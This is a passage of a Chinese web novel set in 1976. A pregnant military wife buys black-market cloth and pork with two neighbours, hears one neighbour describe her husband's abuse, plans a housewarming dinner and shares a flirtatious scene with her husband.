老汉看着老伴领着人进山洞,他又谨慎地四处看看,才跟进去。
这生意是他儿子干的,儿子又出去找路子了,儿媳妇在山洞里看着布,他守着山洞口,让老伴出去寻买家。
老汉几天前崴了脚,才让老伴出去拉客,没想到,老伴第一次出去,就一次拉了三个客来,真是太好了。
“你这腿得早点看,别拖着,拖严重了就不好了。”
众人跟在老汉身后往洞里走,苏圆圆看老汉拖着腿走路,刚才在山洞外看着不显,这一走起来,瘸得厉害。
“村里赤脚医生给拿了药,吃了不见好,越发肿了。”
苏圆圆跟在后面,山洞是个窄长的,前面拴着一只羊,再往后,越来越窄,脚下碎沙石硌得她脚疼,张秋月在旁边拉着她手,
“我爷爷是老中医,我这里有包药粉,给你,你加上香油搅拌敷在伤处,三天后应该能见轻。”
出来的时候,苏圆圆把家里送来的药,捡几样包了几小包,就是想看看在黑市上能不能卖掉。
苏圆圆从口袋里拿出一小包药粉递给老太太。
“这药贵不贵,俺得给你多少钱?”
“家里配了自己用的,不要钱,你拿着使。”
“那哪能白用你的药,要不,我一会拿鸡蛋抵你的药钱。”
老太太不敢说拿布抵药钱,布是儿子的,儿子都是有数的。今天除了老头牵来一只羊,她还提了一篮子鸡蛋来的。
“那真好。”
老太太显然比刚才热情多了,一边唠叨着赤脚医生拿的药没有用,又唠叨着不敢去部队医院,嫌太贵看不起。
山洞很深,走到头,突然变得大了,上面还有天光露进来,亮堂多了。
一个小媳妇守在山洞里,洞里干草上放着几捆子布。
“你们要哪种,蓝色卡其布三块钱一尺,斜纹布……”
老太太的话没说完,张秋月就皱眉拦住了,
“你这也太贵了,供销社卡其布一尺才五毛钱,没法买。”
张秋月摇头。
“你既然来这里买布,自然应该知道,我们的布不要布票,要比供销社贵得多,不然,我们担着大风险,就不值得了。”
一直在摆弄布的小媳妇抬头,和张秋月讲价。
苏圆圆注意到她的口音不是当地的。
这小媳妇虽然操着外地口音,但伶牙俐齿,倒是个机灵会做生意的。
这附近有几个村子,但村里男人很少会娶外地女子。
难道这小媳妇也是随军家属?
不对,苏圆圆立马否定自己这个想法。
家属院虽然有三个,随军的家属也很多,但张秋月和刘招娣不可能完全不认识。
而且这对老夫妻又是当地口音。
苏圆圆想了一下,没想明白,也就放弃了。反正她们这也是一锤子买卖,以后见面的可能性不大。
何况这是黑市,既然以后大家见了,也都会互相装不认识。
张秋月和小媳妇一阵讲价,居然讲到一块五一尺。
最后,张秋月和刘招娣都买了一些,苏圆圆买的最多。
买了五十六块钱的布。
两床被里被面子;四个小襁褓的碎花软棉布,还扯了三个窗帘子再加上一些碎布。
所有布全打成一捆,张秋月直接抱着走。
离开山洞,留下刘招娣看着布,张秋月又拉着苏圆圆去买了半口袋糙米和一小布袋玉米面粉。
花了张秋月12块钱,心疼死她了。
“嫂子们,要新鲜猪肉不?”
一个穿破褂子的小伙子,戴着个破草帽子掩着半张脸,走过来,小声问。
“这年头吃黑面馍馍都吃不饱,哪有闲钱买肉,去,去,我们不——”
张秋月正心痛刚才买米买面花的钱,一听小伙子说肉,火更大了
张秋月现在都有些后悔,刚才在供销社买的肥膘油了,把她最后一张肉票也用没了。
想想,她应该把肉票给人家,换成粮票,也能多买点粮食的。
“肉,真是新鲜的吗?多少钱一斤,买多了能便宜不?”
苏圆圆倒是一听说肉,眼睛一亮。
她来黑市除了买布,就是想看看能不能卖药,还有就
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是想要是碰到了,就多买点肉。
张秋月在供销社买了三斤肉,还有一块肥膘油,三斤肉还是她拿着三家的副食品购**,按今天排队一家一斤的量买的。
至于肥膘油,完全是靠她的威望抢到手的。
张秋月从供销社出来,还专门把手里的肉按三份分开,给她和刘招娣仔细看了,三块都一样大小,才放到柳筐里的。
苏圆圆看到了,一斤肉肥的多瘦的少,都是大肥膘。
张秋月和刘招娣欢喜地很,刘招娣还一个劲地夸张秋月厉害。
苏圆圆知道这年头人人肚子里油水少,都喜欢买肥肉。
可她喜欢吃瘦肉啊。
小伙子眼睛一亮,
“你能要多少?新鲜的很,俺家老母猪腿伤了养不好了,早上俺爹偷偷宰了,在俺村上卖了半头,还剩半头拉到这里来卖。还剩不少来。”
苏圆圆来黑市前一路上,张秋月和刘招娣给她说了很多黑市上,有啥东西卖,都是啥人来卖,价格啥的,讲了许多。
她知道1976年这会子,正处于计划经济时期,物资匮乏,啥东西都得按人头**。
就是你手头有钱,你想多买点东西,也得和人挤,找关系才行。
腊肉?腊肠?
她可以多买点回去做腊肉,腊肥啊。
再说了,过几天她们办婚礼,她们家不知得来多少人,没有肉咋能行呢?
两人跟着小伙子,走到几棵大槐树下,有一老一少两农村汉子,面前放着三个筐,其中有个筐上摆放着一块木板,上面放着刀和肉。
“咦,还说都是好肉来,你看看,这剩的全是瘦肉。一点油水都没有。”
张秋月翻了翻肉,一脸嫌弃。
三个汉子,苏圆圆注意到都是黑脸膛厚嘴唇,一副老实相。看起来像父子三人。
“大嫂子,人人都想要肥的,嘿嘿,这猪也不能只长肥的,不长瘦肉吧。”
小伙子并不觉得窘迫,嘿嘿一笑,拿下草帽,握在手里。
“要不,你看看你们两能要多少,给你们算便宜一些。”
老汉倒是实诚,一脸为难地看着板上的肉。
唉,来一个要肥的,来两还要肥的,他们又不是专业卖肉,这手头不准,割肉割着割着,看看剩的就只有瘦肉了。
苏圆圆心里激动啊。
瞧瞧,这肉可真新鲜,果然是现杀的。
第66章 今晚卤肉贺新房
“三位嫂子,你们要真买的多,我就咬一咬牙,把花油也给你一起卖,算一样的价,行不?”
小伙子眼毒,他早就留意到这两嫂子,和站在旁边树下看布的瘦嫂子是一起的。
看看那么多布,一般人也买不起啊。
这三嫂子脸生,不是附近村里人,一定是军区的家属。
这年头,普通村人就是来买肉,也只是割个一斤半斤的,还都要肥的。
这三嫂子是随军家属,尤其是中间那个嫂子吃得这么胖,还怀着孩子,一准男人工资高,家里不缺吃喝,不然也不能养这么胖。
苏圆圆这会子满心满眼都是板子上的肉,根本不知道小伙子想的啥,要是知道了,非得喷他一顿不可。
咋这一个个的都逮着她的胖没完了,好也是胖,不好也是胖,嘿嘿。
“你还有花油?”
张秋月脸上一喜,转脸又变了,
“花油是包裹肠子的,味不纯,还不出油。你还有膘油不,给搭一块,我们三都买。”
小伙子笑了,
“我的嫂子来,膘油我哪能留到这会,在村里才杀了猪就让人抢了。”
老汉搓搓粗糙带血的大手,揭开另一个柳筐上的草帘子,
“要不,你们要是能多买点,我们就把这猪蹄子、猪骨头搭给你们,不要钱。”
猪蹄子?猪骨头?
苏圆圆更激动了,她喜欢啊,她的红烧猪蹄子啊!
自从穿书后,她就一次也没有吃过她最爱的这些菜了。
红烧猪蹄子、红烧排骨,红烧大骨头,啧啧……
物资贫乏的七十年代啊,她不但买不到这些肉,连糖都不能随便乱用啊,要是被家属院那些嫂子们知道了,还不得喷死她。
她探头望柳筐里一看。
哇!
猪头、猪蹄子、猪骨头……
所有猪的下脚料全在这儿了。
哈哈,还有一块大排骨,只不过上面的肉不多。
嘿嘿,苏圆圆心里欢喜极了,这可真是太贴心了,咋知道我就爱吃这种肉少的排骨呢?
“这都是荤腥呢,咋能白送,嫂子们心好,多少给点钱。”
小伙子给他爹和哥使了个眼色。
苏圆圆倒不在意这些,她本来也没打算白要人家的。这年头,谁家都不容易。
“这些我都要了,啥价?”
“你要啥呀,你要?这些东西没有一点肥膘,要做出来,费劲不说,还得废好多油盐糖香料的。”
张秋月一把拦住,
“这年头,谁家为了一口香的,能花这么大本啊。你这东西卖给谁,是坑谁。还好意思说价,啥价啊,白给人都没人要。”
苏圆圆?我要!我想要啊!
“要不,你们多买肉,这些东西,你们就给一块钱,包括猪头,还有这块排骨,都给你们。”
看着他爹一脸着急地卖相,再看看头上的阳光,小伙子知道,拖下去肉卖不掉,拿回家村上也卖不动了,再去别村上偷偷卖,万一被联防队发现,还麻烦。
“嫂子们,你们看这板上的肉还有四十二斤,你们要是能全要,一斤给你们算五毛钱,一共21块钱,再加一块钱,一共22块钱,全给你们。”
张秋月还想说什么,这会倒被苏圆圆一把拉住,连连对着老汉点头,
“好,我们全要了。只是这么多肉,我们咋拿。”
一听苏圆圆说全要了,小伙子喜地裂开嘴笑,露出两排大白牙,
“看嫂子你说的话多生份,嫂子是痛快人。我们总不能太小气。你把肉全要了,我们家这个柳筐你就直接拿去吧。”
老汉也一脸欢喜,使劲搓着手,跟着点头,
“嗯,筐子你拿去,自家编的,不值啥,就费点功夫的事。”
老汉赶紧把肉全装一个筐里。
苏圆圆掏出22块钱数给小伙子,然后突然说,
“你们的猪大肠呢?”
刚才老汉把肉装筐的时候,她看到有猪心猪肺,就是没看到猪大肠,那可是好东西。
她最喜欢吃卤肥肠,她打算回去,就卤一锅,叫张秋月和刘招娣一家,再让霍战北叫上几个战友,美美吃一顿。
“在这边,我放树下了,用大树叶子包着了。怕臭着人。”
小伙子嘿嘿一笑,拿草帽扇了头上忙出来的汗,
“想着卖完肉,回家从河边没人时,冲一下,拿家去。”
“嫂子你要是想要,就给你拿去,只不过还没冲呢。”
要她自己去冲?
苏圆圆觉得,她完全不能够。虽然她是个吃货,肥肠是她的最爱,做可以,但是清洗?
“妹子,你喜欢啊?”
张秋月看着苏圆圆一脸的犹豫,
“你喜欢还不简单,我给你洗。”
“这也太——”
“嫂子们,要不然,我去
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河边给你们洗好,送去?”
小伙子是个眼皮子活的。
“不用麻烦你了。”
张秋月和苏圆圆互相望了一眼,这可是黑市,规矩向来是在这里只做买卖,不讲人情。出了这林子,就是见了面,也会装不认识。
张秋月立马拒绝,然后直接对苏圆圆说,
“你喜欢,我就去洗。到时候,弄熟了,让我去你家吃一口就行了。”
嗯嗯,苏圆圆连忙点头,她知道张秋月既然提出来要洗,她拒绝反而不太好,帮她干活,请去家里吃饭,这样最好。
张秋月真是力气大,那么多肉放在筐里,她又把买的糙米和玉米面粉也放进去,一把抱起来,就走。
和刘招娣汇合后,刘招娣抱着布,张秋月抱着筐,只有苏圆圆空手走着,她有些不好意思。
“客气啥啊,咱三谁跟谁啊。”
三人走出黑市,转上河堤,张秋月才敢放开声音,
“圆圆,你是个孕妇。这会子啥活都要我和招娣干,你别不好意思,不要多想。实在觉得过意不去,你就给我俩做好吃的。”
嘿嘿,张秋月笑,
“你看看除了你,我们就是给谁干活,谁也给不了我们吃的。”
刘招娣也点头,出了黑市,她立马又恢复了平常的软弱受气样儿,细声细气地说,
“秋月嫂子饭量大吃不饱,我是我家男人不让我吃饱。我们给你帮忙,你给我们饭吃,说起来,我们两还占了你的便宜呢。”
苏圆圆也想问一声刘招娣,你家到底咋回事?你男人对你不好吗?为啥不好?我能帮你吗?
但话到嘴边,又咽了下去。
朋友才刚做没多久,刘招娣不主动说,她还真不好主动揭人家伤疤。
她觉得,还是等等吧。
“说起来,我才来家属院没几天,除了红英,我也没认识几个人。这些天,一直麻烦你们和张政委家人,正想着请你们吃一顿呢。”
苏圆圆说,
“今天正好有肉,你们两帮着我收拾,今晚卤上一锅。你们两家人都来,我再叫上张政委一家。我让我男人再叫上几个战友,咱好好吃一顿。”
刘招娣还要说啥,张秋月看了她一眼,笑着说,
“圆圆你说的是,你来咱家属院,安家几天了,我们还没有给你贺新房呢。正好,趁了今晚有肉,就贺一下吧。”
贺新房?
第67章 没人敢请我们全家吃饭
苏圆圆恍然想起,她小时跟着奶奶住农村老家,是有这么一个习俗。
“那咱可说好了,今晚你们全家都要来。”
张秋月嘴角抽了一下,
“圆圆,你可知道,你可是咱家属院里,第一个邀请我们全家吃饭的人。”
第一个?
张秋月看苏圆圆怔了一下的眼神,哈哈笑了,
“哈哈,我们全家太能吃了,一家人一顿能**家一星期的饭。不管是人家结婚,还是有啥喜事,我们去贺礼,人家也不敢张嘴说请我们全家去吃饭。”
张秋月并不觉得多为难,哈哈笑着说,
“我们一家人连粗茶淡饭都吃不饱,更不要说吃肉了。要是去**家的请,那么大的油水,还不吃得更多,把人家吃垮了。”
张秋月继续笑,
“你可知道,大家背地里都叫我们啥,说我们全家是一家子饭桶,哈哈。”
苏圆圆想了想,
“要不,我教你卤下水,这些东西不贵,你可以过一段时间,就给家里卤一锅,让他们打打牙祭。”
张秋月连忙摆手,
“我不卤,我家男人和孩子都是大肚子汉,野猪吃不了细糠。杂面条子都能喝十碗,卤肉还是算了吧,岂不得一顿吃一锅都不够。”
张秋月继续说,
“别说下水便宜,就是不要钱,卤的时候,盐油糖香料可都得要,就这些我们也吃不起。”
张秋月拍拍筐子,
“圆圆,以后你要买肉洗这些,叫我来帮忙就行。你卤了,叫我来你家打回秋风,尝尝味就行了。”
张秋月脸上一点馋肉的表情都没有,
“圆圆,不怕你笑话,我男人和四个闺女从来都没有吃饱过。我这辈子啥想法也没有,就想着有一天,我们一家人都能吃饱饭,顿顿不挨饿。”
苏圆圆心里有些发酸,她知道张秋月说的是实话。
六七十年代,人们最朴素的愿望。
顿顿吃饱饭,人人有衣穿。
“秋月嫂子,圆圆,你们说,会有那一天吗?”
刘招娣也一脸向往,
“我也希望有一天,我家里吃的东西多了,我男人怎么吃也吃不完,他就不会再骂我和闺女,允许我们也吃饱饭。”
你男人为啥这样对你和孩子?
为啥你不找组织反应?
苏圆圆想问的一堆话,都到嘴边了,她也没问出来。
“招娣嫂子,要不我教你卤肉吧。你学会了,不但可以自己吃,等以后政策放开了,你还能拿出去卖。”
苏圆圆想着,再过两年,等到1978年冬天,就会改革开放,允许人们摆摊经商。
刘招娣学了卤肉,也是门手艺。
刘招娣毫不犹豫地摇头,
“我更不能卤。这些东西再便宜,买它们也得花钱,还得买料。我男人一个月只给我十块钱家用。我买一根葱,都得给我男人报账。”
刘招娣苦笑,
“我男人是个酒鬼,没菜拿一根葱就酒,都能喝半斤。一把花生米都能喝一天。我要是给他卤了这样的肉。他要是知道像猪大肠这样便宜,一准逼着我天天给他做。”
刘招娣想到,她家男人一个月三十五块钱,还得拿十五块寄家去,自己留十块喝酒,每月只给她十块家用。
就是这十块钱,花一分都得向他报账,天天看她娘两吃饭,多吃一口黑面馍馍就难受,就骂人。
一天到晚,她男人挂在嘴边的一句话就是:你啥活也不干,都是我养着你。你比咱村里老娘们命都好,你天天跟着我享清福。你吃我的,喝我的。我是你男人,我就是你的天,我还带你住楼房,这风不打头,雨不打脸的,你还有啥不满意的。天天给我苦丧着个脸。
喝多一点,回家就打她。打她还不让她哭,怕邻居听见毁他名誉。
“我天天上班累得要死,骂你两句咋了?打你几下咋了?我告诉你,这还是我人好。咱村里像你这样不生男娃只生女娃的,还是个病女娃。在村里你早就天天挨打了。”
“我做绣活,偷偷卖的钱,他看到了,还得拿走几个。我怕他都拿走,绣的活只留家里几件,别的都放秋月嫂子家。我能多攒一分就多攒一分。我要给他
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卤肉吃,他多吃一口,我就少一分钱给我闺女看病。”
苏圆圆心口一酸一酸的,胸口堵得慌,想说啥安慰的话,又觉得都是没用的。
直到三人走回去供销社附近,张秋月去熟人家骑了车子来。
三人把东西都放张秋月车子上的筐里,张秋月推着车子,刘招娣走在旁边扶着筐,苏圆圆紧跟在旁边走着,三人一边走一边聊天。
“秋月嫂子,你听说咱家属院后天安排活的事吗?”
苏圆圆想着刚才听两人谈话,张秋月一家六口,只靠着男人一个人的工资过活,她这身板好,性格辣,干啥工作都应该很麻溜,不可能闲着啊。
“知道,不过,我又不识一个字,不能去考工作。”
“他们安排的工作,不也有不要考试的吗?”
苏圆圆觉得组织上给家属安排工作,不是啥活都有吗?识字的考试,不识字的也能安排到食堂、后勤等处去。
“有,我刚来随军的那一年,组织就给我安排了个活,去食堂干。”
张秋月说起往事,一点也不难为情,依然笑得哈哈的,
“我刚结婚就来随军了,那时候还没有孩子。组织上看我和我男人两都能吃,就安排我到食堂干活。你还别说,我就是在食堂干的那半年,吃饱饭了。”
张秋月砸吧着嘴,仿佛在回味以前能吃饱饭的日子。
“食堂的活是太脏太累了一点。”
苏圆圆想着,看来张秋月当年是新媳妇,就给人家安排到食堂去,做那样脏的活,哪个新媳妇能受了,再加上张秋月的性格一看就泼辣,绝对不能受气的。
“我一个农村闺女,打小就在地里泥里爬,嫌啥脏啥累。我不干了,是因为……”
张秋月也不掩着瞒着,噼哩叭啦说了当年那场震惊全军区的食堂风波。
啊?
听了张秋月的话,刘招娣和苏圆圆都张大嘴巴。
刘招娣来的晚,她又不和人接触,她并不知道张秋月这段光荣史。
苏圆圆怎么也没有想到,张秋月失去食堂工作的真相竟然是这样。
第68章 我妹子能吃半头猪
张秋月不识字,脾气大,当年安排工作的时候,上面对她照顾,安排她去食堂干杂活。
搬桌子洗菜打扫卫生,她力气大,又勤快,是食堂里出了名的能干人。
可才干了三月,食堂管事看她是个新媳妇,脾气又欢,大大咧咧,就对她动手动脚。
这事要是放在别的女人身上,也就忍了。
可张秋月不行,她那爆脾气,一点也忍不了,直接一脚踢到了管事的裤裆上。
悲剧发生了,管事的子孙袋一脚被踹碎,当场昏迷。
最后虽然管事出院后,也被开除。但张秋月也出名了。从此无人再敢用她。
何况后来,她就开始一个接一个的怀孩子,生闺女。
一连生了四个闺女。
组织上就再没给她安排过工作。
这几年,随着闺女长大,男人的工资不够一家人吃了。张秋月就开始在家属院附近种小菜地,开荒。
“对了,圆圆,我们家属院每家除了屋后小院能种菜,在军区围墙外,家家还都分了半亩菜园子地。你家霍团长一直不种。我们两地小菜地紧挨着,我问了郑好,就在你家地里撒了菜。”
张秋月说,
“等过几天你有时间,我带你去看看菜地,我种的都是青菜,随时都能拔了。”
苏圆圆点头,她还真想种点药材,这不,霍战北除了分了这片院子,居然还分了一块地。
太好了。
三人很快走进家属院。
“我得赶紧回家,孩子一个人在家这么长时间,我有些担心。”
刘招娣和两人道别,急匆匆回家了。
“我直接先把车子推你家,帮你把东西卸下来,我再回家。”
苏圆圆听了张秋月的话,点点头,她也是这样想的。
虽然是有些麻烦张秋月,可那么多东西,她一个人也提不完。
“圆圆,你还怀着孩子呢,咋到这时候才回来?”
两人进院的声音惊动了屋里的人,苏陈皮第一个像猴子一样从屋里蹿出来。
提了个凳子就按苏圆圆坐下,
“快坐下歇会儿,你看看你,要是有点啥事,咱娘还不得捶死我。”
郑好娘也紧跟着从厨房里走出来,手里端着一杯热水,
“快喝点热水歇一会。”
“你可别忘了,圆圆,你肚子里可是揣了两娃。这屋里有啥脏活累活能要着你干?在咱家里油瓶倒了你都没扶过。”
苏陈皮斜眼儿看着后面。
郑好推着霍战北走出来,轮椅紧挨着苏圆圆停下来。
“嫂子,脏活累活有我来干,有事你让我娘叫我一声就行。”
郑好眼皮子活泛,赶紧去帮着张秋月卸东西。
“你这会子感觉咋样?心口难受不?能喘得过气来不?腿疼不?肚子呢?疼不疼?酸不酸?”
苏陈皮一句接一句,狠不得从头发丝到脚指头,都给苏圆圆检查一遍。
一边说着,一边不由地又斜了霍战北一眼。
啧啧,你说说,这原来只当他是团长的时候,哪眼看他哪眼是英雄!
咋这会子当了他妹夫,他哪眼看了哪眼烦?
他妹子可是他们老苏家的宝贝蛋,嫁到他们霍家可不是当丫环做保姆的!
瞧瞧,天天坐在轮椅上,给个大爷样。
再看看,他妹子挺着个大肚子,天天东奔西跑,买这弄那,像个仆人样!
很想给他一拳怎么办?
门被轻轻推开,张红英走了进来,手里提一个小篮子,里面放着几个还带着鲜秧子的香瓜。
“圆圆妹子回来了,今儿老家亲戚来了,送了一筐香瓜,我妈让我给你送几个。”
苏圆圆眯了眼,
“红英姐真会疼人,有啥好东西都想着——我——”
苏圆圆说想着时停了一下,斜了一眼苏陈皮,她才慢悠悠加了个我字。
心里嘻嘻着,她三哥和红英姐两人感情真好。
感情她哥来了,红英姐找不着借口来看,不知在家里怎么着急呢。要不然,怎么会自己才回家坐下,她就立马来了。
“啊,红英,不,张同志,你来就来了,咋还拿这么多瓜啊。你家留着自己吃就是了,我妹子她要是喜欢吃,团长会给她买的。”
苏陈皮一见张红英,脸色立马来了个大转变,眼睛都笑眯成一条线了。
说话更是语无伦次。
哈哈哈,苏圆圆想笑又不敢笑,怕把这两人笑害羞了。
瞧瞧她哥这想避嫌,又完全避不了一点点的不值钱的样
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子。
哈哈哈——恋爱中的人呦,啧啧!
怪不得人都说,这世间有两样事是绝瞒不了人的。
一是咳嗽,二是真心爱一个人。
眼看着筐里的东西一一被拿出来,摆了一地,郑好娘俩都惊住了。
这么多肉?
这么多布?
尤其郑好娘一个劲拿眼睛看霍战北。
霍团长媳妇这么败家的吗?
儿子可是给她说过多次,霍团长人挺好但脾气特别臭,训练的时候,**骂人那都是常有的事。
要是一会霍团长直接发起脾气来,要打他媳妇。
她要是帮他媳妇,霍团长会不会直接气得当场打她儿子?
她要是不帮他媳妇,他媳妇可是怀着孩子呢?温教授走的时候,可是反复交代过她,一切以她儿媳妇为重,不必管她儿子。
“这布和肉都没用票,我带圆圆从外边买的。霍团长你别看多,其实没花多少钱,圆圆可会讲价了——”
张秋月也被郑好娘眼神来回转弄得有些紧张,生怕苏圆圆被她哥和霍团长吵。赶紧想要帮着解释一下。
说了一半,又觉得自己是不是说错话了,这肉和布在外面买,能当着这么多人说吗?
“不多,这些肉多啥?往年我们家杀年猪,都得给我家圆圆留一半,我家圆圆都能吃了。再过几天我爹我娘我爷我奶都来了,还不够吃呢。”
苏陈皮一脸我家的妹子,我们全家宠。
“嗯,这几天让我媳妇受屈了。”
霍战北没想到,他的小胖媳妇这么喜欢吃肉,还这么能吃肉。
想想,自从来到他这里,这几天,除了吃饺子那会,见着她吃得欢喜。
别的时候,都只是一般般。
原来媳妇儿喜欢吃大块的肉,这真是他的错,没娶过媳妇,没照顾过姑娘,他疏忽了。
“媳妇儿,咱喜欢吃啥样的肉,红烧的、清蒸的,咱就吃啥样的。剩下的做成腊肉腊肠,全都给你留着吃。”
苏圆圆看着这两大男人,一脸无语。
好吧,让她原地去世吧!
现在她除了胖以外,还又多加了爱吃肉,还是能吃半头猪的那种。
一个死宠妹子的,一个想疼媳妇却不知道咋疼的。
第69章 霍战北你两条腿都好了
“我娘会做腊肉,我娘做的腊肉可好吃了,在我们老家,过年的时候,我们村的婶子大娘都喜欢来找我娘,帮着做腊肉。”
郑好立马打蛇随棍上。
“我不会做腊肉,我想一会跟着郑大娘你学学?不知郑大娘可愿意教我?”
张红英真是瞅准一切机会,让自己能顺理成章地留下来。
“我不会做腊肉,圆圆妹子说她想吃卤大肠,我把这大肠拿河边洗去。”
张秋月没想到解释到一半,人家霍团长根本不在意,人家小媳妇买了多少东西,花了多少钱。
看这样子,只要圆圆说一声肉少了,人家霍团长得立马找人,再想法子弄些肉来。
啧啧,
瞧瞧,圆圆妹子嫁的这男人,可真是睁大眼挑着了。
家属院里大姑娘小媳妇不少人都暗地里惦记着霍团长,可要说真嫁给他当媳妇,有多少人又不敢了。
怕呀!
霍团长天天一张冷脸子,整个家属院的男人,只要是他手底下的,哪个没被他打过骂过训练哭过。
男人见了霍团长都腿打颤,更不要提这些大姑娘小媳妇了。
也只是敢远远地看,眼馋霍团长一身腱子肉,敢靠上前的人,却没有几个。
霍团长小媳妇揣崽找上门来这事,家属院的媳妇婆子们没少在背后议论。
说的最多的就是,这霍团长晚上会不会打媳妇?
霍团长会不会像给他手下的兵一样,给他媳妇立规矩?
霍团长媳妇揣着别人的崽,还硬要嫁给他,霍团长会不会哪天一不开心,直接踹掉他媳妇肚里的崽?
霍团长……
看吧,大家都猜,过不了一个月,这小胖媳妇就得被磋磨地瘦成麻杆!
结果呢?
啧啧,霍团长可真会疼媳妇!
“秋月嫂子,你忙你的,我去洗。”
郑好赶紧上前,拎过猪大肠。
“圆圆妹子,那我就先回家了。”
有人要洗,张秋月自然乐意。
“秋月嫂子,你别忘了。今天下午你忙完家里的事,来我家帮忙。晚上咱吃卤肉。你把招娣嫂子也叫来。”
“嗯,我咋能忘。给你家贺新房,是喜事来。”
张秋月一想到,苏圆圆竟然请她全家来吃肉就开心,
“我下午带招娣来,顺便借些盆碗过来,这些事你就别操心了,有我们呢。”
张秋月笑哈哈地走了。
贺新房?
霍战北看着他的小媳妇,他没听他小胖媳妇说这事啊。咋去了一趟供销社,回来就要贺新房了。
“北北,我今天买的肉多。我就想着,我不也来几天了吗?咱下面还得布置房子,所以想借今天有肉,请大家都来吃卤肉,热乎一下。”
北北?
张红英脸一红,看向苏陈皮,心里想着,瞧瞧,还是圆圆妹子会训夫,这才来几天,就把霍团长训得这么乖了。
当着外人面,都敢这么叫霍团长了?
“嗯,你看着办。”
霍战北嗓音轻柔,
“只是你怀着孩子,别累着。”
“累啥,你看红英姐、郑大娘这么多人帮着做,我就是动动嘴皮子的事。”
苏圆圆歪头,自然地靠在霍战北肩上。
她就喜欢霍战北这样的男人,有嘴会说话,会疼人,还事事顾着媳妇的情绪脸面。
嗯,还是她婆婆教的好。
怎么办?
婆婆才走,她就开始想了!
“北北,你看我才来不久,也不认识几个人。我就请秋月嫂子、招娣嫂子、还有红英姐三家。你呢?你那边你想请谁啊?”
“没有!”
人情礼节,苏圆圆心想,霍战北要请的人一定不少,比如他上级、战友等。
嗯,还得有他朋友,比如楚医生。
咦,算起来夏千燕也是他发小!
没想到,这家伙直接两字没有,把她整蒙圈了。
“没——没有?”
苏圆圆惊得抬起小胖脸,睁圆眼睛,不敢置信地望着霍战北。
霍战北作为书中的男主,她看书的时候,可是看得很仔细的,这家伙性格特别冷。
对上级不舔,对下级严酷的。
朋友?
好像原书中,除了楚医生,他就没有啥朋友了吧?
霍战北看他小胖媳妇震惊的样子,立马改口,
“媳妇,你喜欢人多热闹是吧?那让郑好多通知几个人。”
好吧,苏圆圆再次无语,是她自己想多了。
霍战北作为书中男主,全书的人都是围着他转的,不管他做什么,身上都有男主光环,作者大大都会让那变得合理的。
“那算了,今天就先请咱这家属院的几家吧,老**人孩子都有。人多事杂,你那边的战友过些天我们再请。”
苏圆圆想着,也是她欠考虑了。
真要是请霍战北上级战友们来,这些家属孩子们反而受拘束,吃不好了。
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“嗯,都听你的。”
两人全程眼中无人式交流,院里的苏陈皮、张红英还有郑好娘全被喂了一嘴狗粮。
当然,几人内心的震撼更大。
张红英:看吧看吧,嫁对人真好,谁说霍团长不会疼人,她都得怼回去!
苏陈皮:嗯,团长这样疼圆圆才对,这个妹夫他勉强认下了!
郑好娘:唉,看看面前这两对年轻人,你有情我有意的,多好。啥时候,我家郑好也能找个这样好的姑娘,两人也能这样亲,我就是走了,也能安心了。
中午饭是郑好娘做的,郑好在厨房帮他娘烧火。
堂屋里,苏圆圆看着一地东西皱眉,
“北北,我和你商量个事。”
“你说。”
霍战北望着他小胖媳妇的侧脸,脑子里正想着他妈走前,和他说的悄悄话。
“你媳妇怀着双胎,你可不能动手动脚,忍着点。啥时候等你媳妇生下孩子,你再有啥心思妈也不管了。要不然,哼——”
霍战北原来还觉得他妈说这话,就是完全多余,可现在他觉得,他妈作为过来人,想得还真周到。
不知为啥?
自从他受伤后,他不但不能让女人生孩子,就是他自己也完全对任何女人都提不起兴趣。
可是,
那晚他是喝了丈母娘端的那碗药,才……
现在呢?
为啥这大白天,就这么看着小胖媳妇的侧脸,闻着她身上那种甜香,他就……
但目前为止,他和小胖媳妇还仅止于搂搂抱抱,亲亲摸摸的程度。
可是,
今天他去看腿,楚行止那个家伙给他说的那段话,一直在他耳边回荡。
“霍战北,你两条腿都好了!不过用的时候悠着点,你媳妇怀的可是双胎。”
两条腿?
当时郑好那个傻兵还傻乎乎地问楚行止,
“楚医生,我们家团长只伤了一条腿。不过,楚医生你放心,我一定会看着团长,让他暂时少走路,我还推着他。”
楚行止那家伙拍着郑好的肩,却笑盯着他的眼,
“嗯,是该还推着。不过,腿好了眼下却不能使,你家团长会憋坏的。”
郑好立马接了话,
“不会的,我们团长腿伤后坐轮椅坐习惯了,一时半会不用腿,他憋不坏的。”
要不是他吼郑好滚出去,楚行止还不知要当着他的面,借和郑好说话,阴阳他到啥时候呢。
第70章 他们团长不会有啥怪癖吧
“霍战北——”
苏圆圆突然地一声叫,霍战北才从冥想中回过神来。
“我还没嫁给你呢?你就对我不耐烦了?连听我说个话都能跑神了?霍战北,你根本不喜欢我。”
苏圆圆刚才吧啦吧啦说了半天,说今天晚上请人吃饭,人家来给他们家贺新房。
让霍战北到时候,千万不要给人家冷脸子看,到时候弄得大家都尴尬。
要是实在不会和颜悦色和人交流,那就不说话也行。
她还说一会卤肉,她想直接卤一大锅。人多,除了肉,还得做一些菜。还有主食,是蒸米饭还是蒸馒头好?
谁知道,她说了半天,都没见霍战北回音。
一回头,看到他一脸正经,眼神迷离。正神游太虚呢。
气得她直接河东狮子吼,外加小拳拳捶他心口。
苏圆圆声音娇软,小手肉乎乎的,从小在家没干过活,手掌都是软软的,尤其手背上有几个小肉窝窝,指甲泛着淡淡的粉红……
如果咬上这样的手指……
意识到自己又走神了,而且还是想得……
霍战北突然抖了一下头,他这是咋着了?
大白天都犯魔怔?
等回过神来,霍战北才听到他小胖媳妇的抱怨,和那哀怨的小眼神。
“没有,我喜欢你,真心喜欢你。”
脱口而出的喜欢,霍战北都不用打草稿的。
“你骗人,嘴里说喜欢我。连听我说话的耐心都没有。”
“我没骗你,媳妇,我就是喜欢你,真的,你要不信,我发誓如果我要说假话,我就死——”
霍战北的话没有说完,因为苏圆圆的小胖手捂住了他的嘴,
“傻样,谁让你发誓,啥**活了的,以后不许再说。”
苏圆圆声音软软的,趴得这么近,她身上的甜香弥漫了周围的空气。
尤其是她的小手,软乎乎的,暖和和的……
“霍战北,我知道我脾气不好,我说话有时候很冲,你以后要是……啊——”
苏圆圆的声音卡在喉咙里,眼睛猛地瞪大了。
手心里,传来软软的,热乎乎……
霍战北,他居然舔她手心?
而且,
他还?
霍战北的脸轻轻在苏圆圆身上拱了一下。
苏圆圆震惊之下,手松开了。
但没等她缩回手。
霍战北却咬住了她一根手指,像小狗啃骨头一样,细细咬着……
不疼,痒乎乎的……
“霍——霍战北——你——”
